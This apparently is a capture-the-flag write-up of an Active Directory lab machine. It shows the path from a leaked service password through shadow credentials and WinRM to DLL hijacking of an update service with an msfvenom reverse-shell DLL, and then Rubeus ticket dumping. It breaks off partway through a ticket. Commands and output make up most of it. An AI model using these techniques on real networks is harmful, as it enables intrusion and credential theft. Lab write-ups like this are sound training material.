1 RECON

1.1 Creds

Machine information:

As is common in real life pentests, you will start the Logging box with credentials for the following account wallace.everette / Welcome2026@

1.2 Port Scan

Bash
rustscan -a $targetIp --ulimit 1000 -r 1-65535 -- -A -sC -Pn

Result:

Plaintext
PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
80/tcp    open  http          syn-ack Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2026-04-19 08:40:29Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-04-19T08:42:44+00:00; +6h59m58s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Issuer: commonName=logging-DC01-CA/domainComponent=logging
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-04-17T03:20:01
| Not valid after:  2106-04-17T03:20:01
| MD5:     8572 96de c6fa 1e08 d694 2448 68cf d20b
| SHA-1:   8747 4415 e328 0940 a741 bace 327f a157 98d8 76e7
| SHA-256: f7c9 1a1d afd7 0b23 d3eb 802c bad8 aabf 6ad8 0a7b 1b56 3b26 3aea c6ed 4d1b 8b93
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-04-19T08:42:43+00:00; +6h59m58s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Issuer: commonName=logging-DC01-CA/domainComponent=logging
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-04-17T03:20:01
| Not valid after:  2106-04-17T03:20:01
| MD5:     8572 96de c6fa 1e08 d694 2448 68cf d20b
| SHA-1:   8747 4415 e328 0940 a741 bace 327f a157 98d8 76e7
| SHA-256: f7c9 1a1d afd7 0b23 d3eb 802c bad8 aabf 6ad8 0a7b 1b56 3b26 3aea c6ed 4d1b 8b93
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Issuer: commonName=logging-DC01-CA/domainComponent=logging
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-04-17T03:20:01
| Not valid after:  2106-04-17T03:20:01
| MD5:     8572 96de c6fa 1e08 d694 2448 68cf d20b
| SHA-1:   8747 4415 e328 0940 a741 bace 327f a157 98d8 76e7
| SHA-256: f7c9 1a1d afd7 0b23 d3eb 802c bad8 aabf 6ad8 0a7b 1b56 3b26 3aea c6ed 4d1b 8b93
3269/tcp  open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Issuer: commonName=logging-DC01-CA/domainComponent=logging
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-04-17T03:20:01
| Not valid after:  2106-04-17T03:20:01
| MD5:     8572 96de c6fa 1e08 d694 2448 68cf d20b
| SHA-1:   8747 4415 e328 0940 a741 bace 327f a157 98d8 76e7
| SHA-256: f7c9 1a1d afd7 0b23 d3eb 802c bad8 aabf 6ad8 0a7b 1b56 3b26 3aea c6ed 4d1b 8b93
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8530/tcp  open  http          syn-ack Microsoft IIS httpd 10.0
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: Site doesn't have a title.
|_http-server-header: Microsoft-IIS/10.0
8531/tcp  open  ssl/unknown   syn-ack
|_ssl-date: 2026-04-19T08:42:42+00:00; +6h59m57s from scanner time.
| tls-alpn:
|   h2
|_  http/1.1
| ssl-cert: Subject: commonName=DC01.logging.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.logging.htb
| Issuer: commonName=logging-DC01-CA/domainComponent=logging
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-04-16T15:12:07
| Not valid after:  2027-04-16T15:12:07
| MD5:     3158 19e2 be3b 095d 5781 5715 4aaf 73e6
| SHA-1:   9416 b3bc 64b6 7aa6 fe63 8a37 9b4e d9d4 c66b e3c5
| SHA-256: 28b7 cd3c bef5 4d45 e326 d24f f976 0088 07f6 3f90 8408 e5a3 ed59 671d 1b71 4df6
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
47001/tcp open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         syn-ack Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack Microsoft Windows RPC
49671/tcp open  msrpc         syn-ack Microsoft Windows RPC
49685/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49686/tcp open  msrpc         syn-ack Microsoft Windows RPC
49690/tcp open  msrpc         syn-ack Microsoft Windows RPC
49691/tcp open  msrpc         syn-ack Microsoft Windows RPC
49713/tcp open  msrpc         syn-ack Microsoft Windows RPC
49719/tcp open  msrpc         syn-ack Microsoft Windows RPC
49745/tcp open  msrpc         syn-ack Microsoft Windows RPC
49776/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 6h59m57s, deviation: 0s, median: 6h59m57s
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2026-04-19T08:42:26
|_  start_date: N/A
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 37485/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 28521/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 8818/udp): CLEAN (Failed to receive data)
|   Check 4 (port 17039/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked

Summary:

  • logging.htb is the Active Directory domain.
  • DC01.logging.htb appears to be the Domain Controller, based on LDAP banners and certificate names.
  • 53 exposes DNS, which is typical for a DC.
  • 88 exposes Kerberos, confirming domain authentication is in use.
  • 389 and 636 expose LDAP and LDAPS for directory access.
  • 3268 and 3269 expose the LDAP Global Catalog, another strong DC indicator.
  • 445 exposes SMB, useful for share enumeration once we have credentials.
  • 5985 and 47001 expose WinRM, which may later provide remote command execution with valid access.
  • 8530 and 8531 expose WSUS, which stands out as a likely application-specific attack surface.
  • 80 serves the default IIS page and does not yet suggest a custom web application.

WSUS is the Windows Server Update Service. It sends update query to a specific host to DOWNLOAD and EXECUTE the update — if we can hijack DNS record, we have a SYSTEM code executtion primitive.

Add hosts:

Bash
nxc smb logging.htb --generate-hosts-file /tmp/h
cat /tmp/h | sudo tee -a /etc/hosts

1.3 BloodHound

Use BloodHound.py to enumerate Active Directory relationships remotely and collect domain intelligence.

Bash
bloodhound-python \
    -dc 'DC01.logging.htb' -d 'logging.htb' \
    -u 'wallace.everette' -p 'Welcome2026@' \
    -ns $targetIp --zip -c All

This generates a ZIP archive of the collected AD data. Import it into BloodHound locally for graph analysis.

After ingestion, we could identify privesc paths and useful object relationships there:

There's no direct privesc path from the current owned initial foothold. Detailed path analysis from BloodHound and exploitation steps are covered in the following sections.


2 USER

2.1 SMB Enumeration

2.1.1 Log Enumeration

Since the initial foothold did not seem owning DACL privesc vectors, we could use its credential to probe on SMB share first:

axura @ labyrinth :~
$ nxc smb logging.htb -u 'wallace.everette' -p 'Welcome2026@' -M spider_plus
SMB         10.129.78.103   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:logging.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.78.103   445    DC01             [+] logging.htb\wallace.everette:Welcome2026@
SPIDER_PLUS 10.129.78.103   445    DC01             [*] Started module spidering_plus with the following options:
SPIDER_PLUS 10.129.78.103   445    DC01             [*]  DOWNLOAD_FLAG: False
SPIDER_PLUS 10.129.78.103   445    DC01             [*]     STATS_FLAG: True
SPIDER_PLUS 10.129.78.103   445    DC01             [*] EXCLUDE_FILTER: ['print$', 'ipc$']
SPIDER_PLUS 10.129.78.103   445    DC01             [*]   EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS 10.129.78.103   445    DC01             [*]  MAX_FILE_SIZE: 50 KB
SPIDER_PLUS 10.129.78.103   445    DC01             [*]  OUTPUT_FOLDER: /home/Axura/.nxc/modules/nxc_spider_plus
SMB         10.129.78.103   445    DC01             [*] Enumerated shares
SMB         10.129.78.103   445    DC01             Share           Permissions     Remark
SMB         10.129.78.103   445    DC01             -----           -----------     ------
SMB         10.129.78.103   445    DC01             ADMIN$                          Remote Admin
SMB         10.129.78.103   445    DC01             C$                              Default share
SMB         10.129.78.103   445    DC01             IPC$            READ            Remote IPC
SMB         10.129.78.103   445    DC01             Logs            READ            
SMB         10.129.78.103   445    DC01             NETLOGON        READ            Logon server share 
SMB         10.129.78.103   445    DC01             SYSVOL          READ            Logon server share 
SMB         10.129.78.103   445    DC01             WSUSTemp                        A network share used by Local Publishing from a Remote WSUS Console Instance.
SPIDER_PLUS 10.129.78.103   445    DC01             [+] Saved share-file metadata to "/home/Axura/.nxc/modules/nxc_spider_plus/10.129.78.103.json".
SPIDER_PLUS 10.129.78.103   445    DC01             [*] SMB Shares:           7 (ADMIN$, C$, IPC$, Logs, NETLOGON, SYSVOL, WSUSTemp)
SPIDER_PLUS 10.129.78.103   445    DC01             [*] SMB Readable Shares:  4 (IPC$, Logs, NETLOGON, SYSVOL)
SPIDER_PLUS 10.129.78.103   445    DC01             [*] SMB Filtered Shares:  1
SPIDER_PLUS 10.129.78.103   445    DC01             [*] Total folders found:  19
SPIDER_PLUS 10.129.78.103   445    DC01             [*] Total files found:    9
SPIDER_PLUS 10.129.78.103   445    DC01             [*] File size average:    2.2 KB
SPIDER_PLUS 10.129.78.103   445    DC01             [*] File size min:        22 B
SPIDER_PLUS 10.129.78.103   445    DC01             [*] File size max:        8.29 KB

Inspect the crawling output:

JSON
{
    "Logs": {
        "Audit_Heartbeat.log": {
            "atime_epoch": "2026-04-16 16:10:09",
            "ctime_epoch": "2026-04-16 16:10:09",
            "mtime_epoch": "2026-04-16 16:10:09",
            "size": "1.26 KB"
        },
        "IdentitySync_Trace_20260219.log": {
            "atime_epoch": "2026-04-16 16:10:09",
            "ctime_epoch": "2026-04-16 16:10:09",
            "mtime_epoch": "2026-04-16 16:10:09",
            "size": "8.29 KB"
        },
        "Service_State.log": {
            "atime_epoch": "2026-04-16 16:10:09",
            "ctime_epoch": "2026-04-16 16:10:09",
            "mtime_epoch": "2026-04-16 16:10:09",
            "size": "468 B"
        },
        "TaskMonitor.log": {
            "atime_epoch": "2026-04-16 16:10:09",
            "ctime_epoch": "2026-04-16 16:10:09",
            "mtime_epoch": "2026-04-16 16:10:09",
            "size": "1.14 KB"
        }
    },
    "NETLOGON": {},
    "SYSVOL": {
        ...
    }
}

The interesting part is the custom Logs share:

  • NETLOGON and SYSVOL are expected on a Domain Controller.
  • Logs likely belongs to an internal application or sync service.
  • IdentitySync_Trace_20260219.log is the largest file that may contain useful data.

Next, pull the log files from Logs share:

Bash
mkdir -p Logs && cd Logs

smbclient //logging.htb/Logs \
    -U 'LOGGING/wallace.everette%Welcome2026@' \
    -c 'recurse ON; prompt OFF; mget *'

Grep sensitive keywords:

axura @ labyrinth :~
$ grep -ir pass Logs
Logs/IdentitySync_Trace_20260219.log:[2026-02-09 03:00:03.125] [PID:4102] [Thread:04] VERBOSE - C
onnectionContext Dump: { Domain: "logging.htb", Server: "DC01", SSL: "False", BindUser: "LOGGING\
svc_recovery", BindPass: "Em3rg3ncyPa$$2025", Timeout: 30 }

Full log:

Plaintext
[2026-02-09 ...] BindUser: "LOGGING\svc_recovery", BindPass: "Em3rg3ncyPa$$2025"
[2026-02-19 ...] LDAP_INVALID_CREDENTIALS
[2026-02-19 ...] Connectivity failed for logging\svc_recovery

So Em3rg3ncyPa$$2025 was valid earlier, but not anymore by the time of that later log.

2.1.2 Kerberos Authentication

Quick SMB probe to distinguish a bad password from an account policy restriction:

axura @ labyrinth :~
$ nxc smb logging.htb -u 'svc_recovery' -p 'Em3rg3ncyPa$$2025'
SMB         10.129.78.103   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64
(name:DC01) (domain:logging.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.78.103   445    DC01             [-] logging.htb\svc_recovery:Em3rg3ncyPa$$202
5 STATUS_ACCOUNT_RESTRICTION

The result was not STATUS_LOGON_FAILURE, but STATUS_ACCOUNT_RESTRICTION. That means the account could not be used through this logon path, pusing the investigation back toward Kerberos.

Aditionally, using the expired creds raised KDC_ERR_PREAUTH_FAILED error — wrong creds. So we rotated the year vector and eventually found out the valid credential is:

Creds
svc_recovery / Em3rg3ncyPa$$2026

Since the password was valid but the SMB logon path was restricted, we switched to Kerberos and requested a TGT directly:

Bash
# Generate Kerberos client configuration 
nxc smb logging.htb --generate-krb5-file ./krb5.conf

# Use the generated realm / KDC configuration
export KRB5_CONFIG=./krb5.conf

# Request a TGT & bypass clock-skew issues
ft logging.htb \
getTGT.py 'LOGGING.HTB/svc_recovery:Em3rg3ncyPa$$2026'

Error Countermeasure: KRB_AP_ERR_SKEW

Kerberos doesn't tolerate time drift. If authentication fails due to skew, realign time using faketime — as demonstrated Certified writeup — or deploy a shell wrapper (ft.sh) mentioned in the Haze writeup, tailored for Arch Linux. That's my play here.

TGT harvested:

axura @ labyrinth :~
# ft logging.htb \
getTGT.py 'LOGGING.HTB/svc_recovery:Em3rg3ncyPa$$2026'
[*] Querying offset from: logging.htb
[*] faketime -f format: +25198.110152
25198.110152s
[*] Running: getTGT.py LOGGING.HTB/svc_recovery:Em3rg3ncyPa$$2026
Impacket v0.14.0.dev0+20251107.4500.2f1d6eb2 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in svc_recovery.ccache
# klist svc_recovery.ccache
Ticket cache: FILE:svc_recovery.ccache
Default principal: [email protected]

Valid starting       Expires              Service principal
04/19/2026 05:12:17  04/19/2026 09:12:17  krbtgt/[email protected]
    renew until 04/19/2026 09:12:17

Export the ticket to ENV for later auth:

Bash
export KRB5CCNAME=svc_recovery.ccache

2.2 Shadow Credentials

2.2.1 GenericWrite

The svc_recovery account was now under control. After marking it as an owned object in BloodHound, a new privilege escalation path surfaced immediately:

The key edge here is GenericWrite over MSA_HEALTH$.

  • GenericWrite means we can modify writable attributes on the target object.
  • On a user or computer-style AD object, that often enables shadow credentials by writing msDS-KeyCredentialLink.
  • If that works, we can authenticate as MSA_HEALTH$ without knowing its password.

So the next step is to abuse this write access against MSA_HEALTH$ and turn it into a usable authentication material.

2.2.2 Shadow Credential Attack

A Shadow Credentials attack abuses write access over the msDS-KeyCredentialLink attribute.

  • We do not need the target account password.
  • We only need a writable path to its AD object.
  • After adding our own key credential, PKINIT can be used to request a TGT as that account.

Exploiting the GenericWrite privilege often diverges from techniques like the Shadow Credentials Attack we detailed in Certified or leveraging targetedKerberoasting.py as discussed in Administrator.

In this case, svc_recovery has GenericWrite over MSA_HEALTH$, so we can register a rogue key credential and authenticate as that machine account.

Unlike the techniques introduced before, the modern bloodyAD add shadowCredentials command wraps this flow neatly:

Bash
export KRB5CCNAME=svc_recovery.ccache

ft logging.htb \
bloodyAD -H dc01.logging.htb -d logging.htb \
    -u 'svc_recovery' -k \
    add shadowCredentials 'MSA_HEALTH$'

PKINIT succeeded, granting us a TGT cache and the NT hash for MSA_HEALTH$:

axura @ labyrinth :~
$ ft logging.htb \
bloodyAD -H dc01.logging.htb -d logging.htb \
    -u 'svc_recovery' -k \
    add shadowCredentials 'MSA_HEALTH$'
[*] Querying offset from: logging.htb
[*] faketime -f format: +25198.160711
25198.160711s
[*] Running: bloodyAD -H dc01.logging.htb -d logging.htb -u svc_recovery -k add shadowCredentials MSA_HEALTH$
[+] KeyCredential generated with following sha256 of RSA key: f0285a4648225f78b5345752049d1048008748c2999f58464c0857752bd38d64
[+] TGT stored in ccache file msa_health_tz.ccache

NT: 603fc24ee01a9409f83c9d1d701485c5

2.2.3 WinRM

That opened a clean path into the next stage — MSA_HEALTH$ was a member of the REMOTE MANAGEMENT group:

So use the recovered MSA_HEALTH$ authentication material to reach the WinRM service:

Bash
evil-winrm -i dc01.logging.htb -u 'msa_health$' -H 603fc24ee01a9409f83c9d1d701485c5

Logon succeeded, but the user flag was still missing:

axura @ labyrinth :~
$ evil-winrm -i dc01.logging.htb -u 'msa_health$' -H 603fc24ee01a9409f83c9d1d701485c5
Evil-WinRM shell v3.7
*Evil-WinRM* PS C:\Users\msa_health$\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

*Evil-WinRM* PS C:\Users\msa_health$\Documents> ls ..\desktop
*Evil-WinRM* PS C:\Users\msa_health$\Documents> dir c:\users

    Directory: C:\users

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        4/16/2026   5:27 PM                .NET v4.5
d-----        4/16/2026   5:27 PM                .NET v4.5 Classic
d-----        4/16/2026   8:30 PM                Administrator
d-----        4/16/2026   4:41 PM                jaylee.clifton
d-----        4/17/2026   8:33 AM                msa_health$
d-r---        4/10/2020  10:49 AM                Public
d-----        4/17/2026   1:47 PM                toby.brynleigh

From BloodHound we knew Toby is the super admin, while jaylee.clifton could be the next pivot target to retrieve the user flag.

2.3 DLL Hijacking

2.3.1 Update Monitor

During the log enumeration in section 2.1.1, an update service was also identified running in the backend:

Further enumeration with WinPEAS exposed a custom scheduled application:

It was installed under the following path:

Path
C:\Program Files\UpdateMonitor\

The next step was to verify whether this installed software could be modified:

axura @ labyrinth :~
*Evil-WinRM* PS C:\Temp> icacls "C:\Program Files\UpdateMonitor"
C:\Program Files\UpdateMonitor logging\IT:(OI)(CI)(F)
                               NT SERVICE\TrustedInstaller:(I)(F)
                               NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
                               NT AUTHORITY\SYSTEM:(I)(F)
                               NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
                               BUILTIN\Administrators:(I)(F)
                               BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
                               BUILTIN\Users:(I)(RX)
                               BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
                               CREATOR OWNER:(I)(OI)(CI)(IO)(F)
                               APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                               APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
                               APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
                               APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)

Successfully processed 1 files; Failed processing 0 files
*Evil-WinRM* PS C:\Temp> icacls "C:\Program Files\UpdateMonitor\UpdateMonitor.exe"
C:\Program Files\UpdateMonitor\UpdateMonitor.exe logging\IT:(I)(F)
                                                 NT AUTHORITY\SYSTEM:(I)(F)
                                                 BUILTIN\Administrators:(I)(F)
                                                 BUILTIN\Users:(I)(RX)
                                                 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                                 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

The ACL was the interesting part.

  • logging\IT:(OI)(CI)(F) on C:\Program Files\UpdateMonitor means the IT group has full control on the application directory and its children.
  • logging\IT:(I)(F) on UpdateMonitor.exe confirms the executable is also writable through inherited permissions.

But the compromised MSA_HEALTH$ does not belong the to IT group, which has the only target member jaylee.clifton:

So we cannot simply replace the executable to achieve privesc.

2.3.2 Binary Reversing

We needed to understand what UpdateMonitor.exe actually does before deciding whether this path could be abused.

So the next step was to pull the binary and reverse it, looking for dynamic DLL loading or any update workflow that extracts attacker-controlled files into the monitored directory.

Decompile the executable via dnSpy, function call like LoadLibrary raised attention:

The decompiled entry shows the update archive is extracted into the program directory before a DLL is loaded by name:

C#
string text = "C:\\ProgramData\\UpdateMonitor\\Settings_Update.zip";
string text2 = "C:\\Program Files\\UpdateMonitor\\bin\\";
string text3 = "settings_update.dll";
string text4 = Path.Combine(text2, text3);

if (File.Exists(text))
{
    if (File.Exists(text4))
    {
        File.Delete(text4);
    }
    ZipFile.ExtractToDirectory(text, text2);
}

IntPtr intPtr = Program.LoadLibrary(text4);
IntPtr procAddress = Program.GetProcAddress(intPtr, "PreUpdateCheck");

This turns the updater into a clean hijack path: a crafted Settings_Update.zip can plant settings_update.dll, and UpdateMonitor.exe will load it and invoke PreUpdateCheck.

The remaining question was whether our current user could write to the watched update path.

axura @ labyrinth :~
*Evil-WinRM* PS C:\Temp> icacls "C:\ProgramData\UpdateMonitor"
C:\ProgramData\UpdateMonitor NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
                             BUILTIN\Administrators:(I)(OI)(CI)(F)
                             CREATOR OWNER:(I)(OI)(CI)(IO)(F)
                             BUILTIN\Users:(I)(OI)(CI)(RX)
                             BUILTIN\Users:(I)(CI)(WD,AD,WEA,WA)

Successfully processed 1 files; Failed processing 0 files
*Evil-WinRM* PS C:\Temp> icacls "C:\ProgramData\UpdateMonitor\Settings_Update.zip"
Successfully processed 0 files; Failed processing 1 files
icacls.exe : C:\ProgramData\UpdateMonitor\Settings_Update.zip: The system cannot find the file specified.
    + CategoryInfo          : NotSpecified: (C:\ProgramData\...file specified.:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError

BUILTIN\Users:(CI)(WD,AD,WEA,WA) on C:\ProgramData\UpdateMonitor means the current user can create the missing Settings_Update.zip in the watched path:

Path
C:\ProgramData\UpdateMonitor\Settings_Update.zip

Besides, the hardcoded log path:

Path
C:\ProgramData\UpdateMonitor\Logs\monitor.log

is useful operationally because it gives us direct success or failure feedback after the updater runs.

axura @ labyrinth :~
*Evil-WinRM* PS C:\Temp> Get-Content "C:\ProgramData\UpdateMonitor\Logs\monitor.log" -Tail 20
[2026-04-19 06:50:15] Failed to load settings_update.dll. Error code: 126
[2026-04-19 06:50:15] Update check completed.
[2026-04-19 06:53:15] Starting Sentinel Update Check...
[2026-04-19 06:53:15] Checking for update on core server...
[2026-04-19 06:53:15] Info: Core did not find file Settings_Update.zip
[2026-04-19 06:53:15] Last status: File not found on core
[2026-04-19 06:53:15] Checking for update on local server...
[2026-04-19 06:53:15] No updates found locally: C:\ProgramData\UpdateMonitor\Settings_Update.zip.
[2026-04-19 06:53:15] Loading update applier: C:\Program Files\UpdateMonitor\bin\settings_update.dll
[2026-04-19 06:53:15] Failed to load settings_update.dll. Error code: 126
[2026-04-19 06:53:15] Update check completed.
[2026-04-19 06:56:15] Starting Sentinel Update Check...
[2026-04-19 06:56:15] Checking for update on core server...
[2026-04-19 06:56:15] Info: Core did not find file Settings_Update.zip
[2026-04-19 06:56:15] Last status: File not found on core
[2026-04-19 06:56:15] Checking for update on local server...
[2026-04-19 06:56:15] No updates found locally: C:\ProgramData\UpdateMonitor\Settings_Update.zip.
[2026-04-19 06:56:15] Loading update applier: C:\Program Files\UpdateMonitor\bin\settings_update.dll
[2026-04-19 06:56:15] Failed to load settings_update.dll. Error code: 126
[2026-04-19 06:56:15] Update check completed.

2.3.3 Exploit

We can use Metasploit to finish the attack:

Bash
# Generate maliciou DLL, target is 32-bit process
msfvenom -p windows/meterpreter/reverse_tcp \
    LHOST="$attackerIp" LPORT=443 \
    -f dll -o settings_update.dll

# Compress zip archive
zip Settings_Update.zip settings_update.dll

Then upload the archive to C:\ProgramData\UpdateMonitor:

axura @ labyrinth :~
*Evil-WinRM* PS C:\Temp> cd "C:\ProgramData\UpdateMonitor"
*Evil-WinRM* PS C:\ProgramData\UpdateMonitor> ls

    Directory: C:\ProgramData\UpdateMonitor

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        4/16/2026   4:43 PM                Logs

*Evil-WinRM* PS C:\ProgramData\UpdateMonitor> upload Settings_Update.zip
Info: Uploading /home/Axura/ctf/HTB/logging/Settings_Update.zip to C:\ProgramData\UpdateMonitor\Settings_Update.zip
Data: 2724 bytes of 2724 bytes copied
Info: Upload successful!

Check C:\ProgramData\UpdateMonitor\Logs\monitor.log to for debugging. Success message:

Plaintext
[2026-04-19 10:05:15] Checking for update on local server...
[2026-04-19 10:05:16] Successfully unzipped update to C:\Program Files\UpdateMonitor\bin\
[2026-04-19 10:05:16] Loading update applier: C:\Program Files\UpdateMonitor\bin\settings_update.dll

Start msf listener:

Bash
sudo msfconsole -q \
    -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST tun0; set LPORT 443; run"

Meterpreter called back after DLL loading:

axura @ labyrinth :~
$ sudo msfconsole -q \
    -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST tun0; set LPORT 443; run"
[*] Using configured payload generic/shell_reverse_tcp
payload => windows/meterpreter/reverse_tcp
LHOST => tun0
LPORT => 443
[*] Started reverse TCP handler on 10.10.13.68:443
[*] Sending stage (199238 bytes) to 10.129.78.103
[*] Meterpreter session 1 opened (10.10.13.68:443 -> 10.129.78.103:57622) at 2026-04-19 00:24:09 -0700

meterpreter > getuid
Server username: logging\jaylee.clifton
meterpreter > sysinfo
Computer        : DC01
OS              : Windows Server 2019 (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : logging
Logged On Users : 11
Meterpreter     : x86/windows
meterpreter > cat c:\\users\\jaylee.clifton\\desktop\\user.txt
1*******************************9
meterpreter >

User flag harvested.


3 ROOT

3.1 Enumeration

3.1.1 Dump TGT

To establish a solid foothold as jaylee.clifton, the first step was to harvest his TGT.

Under a C2 framework such as Cobalt Strike, a ticket could be dumped directly. Since Metasploit Framework was used here, Rubeus first had to be uploaded to the target, then executed:

PowerShell
.\Rubeus.exe triage 
.\Rubeus.exe tgtdeleg /nowrap

Result:

axura @ labyrinth :~
c:\temp>.\Rubeus.exe tgtdeleg /nowrap

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3

Action: Dump Kerberos Ticket Data (Current User)

[*] Current LUID    : 0x8c565e

  UserName                 : jaylee.clifton
  Domain                   : logging
  LogonId                  : 0x8c565e
  UserSID                  : S-1-5-21-4020823815-2796529489-1682170552-2105
  AuthenticationPackage    : Kerberos
  LogonType                : Batch
  LogonTime                : 4/19/2026 7:23:15 AM
  LogonServer              : DC01
  LogonServerDNSDomain     : LOGGING.HTB
  UserPrincipalName        : [email protected]

    ServiceName              :  krbtgt/LOGGING.HTB
    ServiceRealm             :  LOGGING.HTB
    UserName                 :  jaylee.clifton (NT_PRINCIPAL)
    UserRealm                :  LOGGING.HTB
    StartTime                :  4/19/2026 7:23:15 AM
    EndTime                  :  4/19/2026 5:23:15 PM
    RenewTill                :  4/26/2026 7:23:15 AM
    Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
    KeyType                  :  aes256_cts_hmac_sha1
    Base64(key)              :  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
    Base64EncodedTicket   :

      doIFyDCCBcSgAwIBBaEDAgEWooIEyjCCBMZhggTCMIIEvqADAgEFoQ0bC0xPR0dJTkcuSFRCoiAwHqADAgECoRcwFRsGa3JidGd0GwtMT0dHSU5HLkhUQqOCBIQwggSAoAMCARKhAwIBAqKCBHIEggRuWH7X+AQ8EaQkeyDcGML9hWYvW7lQZquRoGoH0lHpMU0x4Zkf7Z5uVhs66rEaXo11NMZ27rwB7FcneOI5XjJ4IpJKzOWjCmFyyAU/zgD1RlYofZicHsImL2YZw
